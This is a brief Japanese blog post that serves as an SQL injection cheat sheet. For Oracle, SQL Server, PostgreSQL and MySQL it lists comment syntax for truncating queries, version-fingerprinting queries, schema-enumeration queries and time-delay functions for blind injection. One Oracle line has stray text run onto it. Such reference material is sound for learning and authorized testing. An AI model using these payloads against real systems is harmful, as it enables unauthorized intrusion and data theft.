Hello guys!
これまでブログにて実施してきたSQLインジェクションについて。
チートシートをまとめておくと。
■Comments
コメントを使用することで。
コメント以降のクエリを切り捨てることができ。
Case Oracle:
--コメント
Case Microsoft:
--コメント、/*コメント*/
Case PostgreSQL:
--コメント、/*コメント*/
Case MySQL:
--(最後に半角スペース)コメント、/*コメント*/、#コメント
■Database version
データベースのタイプととバージョンを判別できて。
この情報からより複雑な攻撃を定式化でき。
Case Oracle:
SELECT banner FROM v$version
SELECT version FROM v$instance
Case Microsoft:
SELECT @@VERSION
Case PostgreSQL:
SELECT VERSION()
Case MySQL:
SELECT @@VERSION
■Databese contents
データベース内のテーブルだったり。
テーブル内のリストを表示できたり。
Case Oracle:
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'Microsoft SELECT * FROM
Case Microsoft:
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
Case PostgreSQL:
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
Case MySQL:
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
■Time delays
クエリを実行した際に。
指定した時間、スリープさせることができ。
Case Oracle:
dbms_pipe.receive_message(('a'),10)
Case Microsoft:
WAITFOR DELAY '0:0:10'
Case PostgreSQL:
SELECT pg_sleep(10)
Case MySQL:
SELECT sleep(10)
Best regards,